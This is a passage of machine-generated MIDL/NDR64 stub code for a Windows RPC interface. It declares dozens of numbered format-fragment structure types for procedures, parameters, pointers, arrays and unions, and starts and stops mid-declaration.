__midl_frag863;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag861_t;\nextern const __midl_frag861_t __midl_frag861;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag859_t;\nextern const __midl_frag859_t __midl_frag859;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag857_t;\nextern const __midl_frag857_t __midl_frag857;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n    } frag2;\n}\n__midl_frag856_t;\nextern const __midl_frag856_t __midl_frag856;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag855_t;\nextern const __midl_frag855_t __midl_frag855;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag854_t;\nextern const __midl_frag854_t __midl_frag854;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag851_t;\nextern const __midl_frag851_t __midl_frag851;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag848_t;\nextern const __midl_frag848_t __midl_frag848;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag846_t;\nextern const __midl_frag846_t __midl_frag846;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag845_t;\nextern const __midl_frag845_t __midl_frag845;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n}\n__midl_frag836_t;\nextern const __midl_frag836_t __midl_frag836;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag829_t;\nextern const __midl_frag829_t __midl_frag829;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag821_t;\nextern const __midl_frag821_t __midl_frag821;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag819_t;\nextern const __midl_frag819_t __midl_frag819;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag818_t;\nextern const __midl_frag818_t __midl_frag818;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag817_t;\nextern const __midl_frag817_t __midl_frag817;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag816_t;\nextern const __midl_frag816_t __midl_frag816;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag815_t;\nextern const __midl_frag815_t __midl_frag815;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag813_t;\nextern const __midl_frag813_t __midl_frag813;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag812_t;\nextern const __midl_frag812_t __midl_frag812;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag811_t;\nextern const __midl_frag811_t __midl_frag811;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag809_t;\nextern const __midl_frag809_t __midl_frag809;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag808_t;\nextern const __midl_frag808_t __midl_frag808;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag807_t;\nextern const __midl_frag807_t __midl_frag807;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag799_t;\nextern const __midl_frag799_t __midl_frag799;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag792_t;\nextern const __midl_frag792_t __midl_frag792;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag789_t;\nextern const __midl_frag789_t __midl_frag789;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag787_t;\nextern const __midl_frag787_t __midl_frag787;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag785_t;\nextern const __midl_frag785_t __midl_frag785;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag784_t;\nextern const __midl_frag784_t __midl_frag784;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag783_t;\nextern const __midl_frag783_t __midl_frag783;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag782_t;\nextern const __midl_frag782_t __midl_frag782;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag777_t;\nextern const __midl_frag777_t __midl_frag777;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag771_t;\nextern const __midl_frag771_t __midl_frag771;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag768_t;\nextern const __midl_frag768_t __midl_frag768;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag765_t;\nextern const __midl_frag765_t __midl_frag765;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag762_t;\nextern const __midl_frag762_t __midl_frag762;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag761_t;\nextern const __midl_frag761_t __midl_frag761;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag760_t;\nextern const __midl_frag760_t __midl_frag760;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag756_t;\nextern const __midl_frag756_t __midl_frag756;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag754_t;\nextern const __midl_frag754_t __midl_frag754;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag746_t;\nextern const __midl_frag746_t __midl_frag746;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag744_t;\nextern const __midl_frag744_t __midl_frag744;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag743_t;\nextern const __midl_frag743_t __midl_frag743;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag741_t;\nextern const __midl_frag741_t __midl_frag741;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag740_t;\nextern const __midl_frag740_t __midl_frag740;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag739_t;\nextern const __midl_frag739_t __midl_frag739;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag738_t;\nextern const __midl_frag738_t __midl_frag738;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag737_t;\nextern const __midl_frag737_t __midl_frag737;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag736_t;\nextern const __midl_frag736_t __midl_frag736;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag735_t;\nextern const __midl_frag735_t __midl_frag735;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag733_t;\nextern const __midl_frag733_t __midl_frag733;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag730_t;\nextern const __midl_frag730_t __midl_frag730;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag728_t;\nextern const __midl_frag728_t __midl_frag728;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag727_t;\nextern const __midl_frag727_t __midl_frag727;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag726_t;\nextern const __midl_frag726_t __midl_frag726;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag724_t;\nextern const __midl_frag724_t __midl_frag724;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag723_t;\nextern const __midl_frag723_t __midl_frag723;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag717_t;\nextern const __midl_frag717_t __midl_frag717;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag714_t;\nextern const __midl_frag714_t __midl_frag714;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag710_t;\nextern const __midl_frag710_t __midl_frag710;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag707_t;\nextern const __midl_frag707_t __midl_frag707;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag697_t;\nextern const __midl_frag697_t __midl_frag697;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag693_t;\nextern const __midl_frag693_t __midl_frag693;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag691_t;\nextern const __midl_frag691_t __midl_frag691;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag690_t;\nextern const __midl_frag690_t __midl_frag690;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag689_t;\nextern const __midl_frag689_t __midl_frag689;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag684_t;\nextern const __midl_frag684_t __midl_frag684;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag676_t;\nextern const __midl_frag676_t __midl_frag676;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag662_t;\nextern const __midl_frag662_t __midl_frag662;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag658_t;\nextern const __midl_frag658_t __midl_frag658;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag656_t;\nextern const __midl_frag656_t __midl_frag656;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag655_t;\nextern const __midl_frag655_t __midl_frag655;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag650_t;\nextern const __midl_frag650_t __midl_frag650;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag646_t;\nextern const __midl_frag646_t __midl_frag646;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag641_t;\nextern const __midl_frag641_t __midl_frag641;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag640_t;\nextern const __midl_frag640_t __midl_frag640;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag638_t;\nextern const __midl_frag638_t __midl_frag638;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag637_t;\nextern const __midl_frag637_t __midl_frag637;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag636_t;\nextern const __midl_frag636_t __midl_frag636;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag633_t;\nextern const __midl_frag633_t __midl_frag633;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag631_t;\nextern const __midl_frag631_t __midl_frag631;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag627_t;\nextern const __midl_frag627_t __midl_frag627;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag624_t;\nextern const __midl_frag624_t __midl_frag624;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag620_t;\nextern const __midl_frag620_t __midl_frag620;\n\ntypedef \nstruct \n{\n    struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag619_t;\nextern const __midl_frag619_t __midl_frag619;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag618_t;\nextern const __midl_frag618_t __midl_frag618;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag614_t;\nextern const __midl_frag614_t __midl_frag614;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag613_t;\nextern const __midl_frag613_t __midl_frag613;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n    } frag2;\n}\n__midl_frag611_t;\nextern const __midl_frag611_t __midl_frag611;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag610_t;\nextern const __midl_frag610_t __midl_frag610;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag609_t;\nextern const __midl_frag609_t __midl_frag609;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag608_t;\nextern const __midl_frag608_t __midl_frag608;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag607_t;\nextern const __midl_frag607_t __midl_frag607;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag606_t;\nextern const __midl_frag606_t __midl_frag606;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_MEMPAD_FORMAT frag10;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n    } frag2;\n}\n__midl_frag598_t;\nextern const __midl_frag598_t __midl_frag598;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag596_t;\nextern const __midl_frag596_t __midl_frag596;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag595_t;\nextern const __midl_frag595_t __midl_frag595;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag594_t;\nextern const __midl_frag594_t __midl_frag594;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag593_t;\nextern const __midl_frag593_t __midl_frag593;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag585_t;\nextern const __midl_frag585_t __midl_frag585;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag583_t;\nextern const __midl_frag583_t __midl_frag583;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag582_t;\nextern const __midl_frag582_t __midl_frag582;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag581_t;\nextern const __midl_frag581_t __midl_frag581;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag580_t;\nextern const __midl_frag580_t __midl_frag580;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag578_t;\nextern const __midl_frag578_t __midl_frag578;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag577_t;\nextern const __midl_frag577_t __midl_frag577;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag576_t;\nextern const __midl_frag576_t __midl_frag576;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct 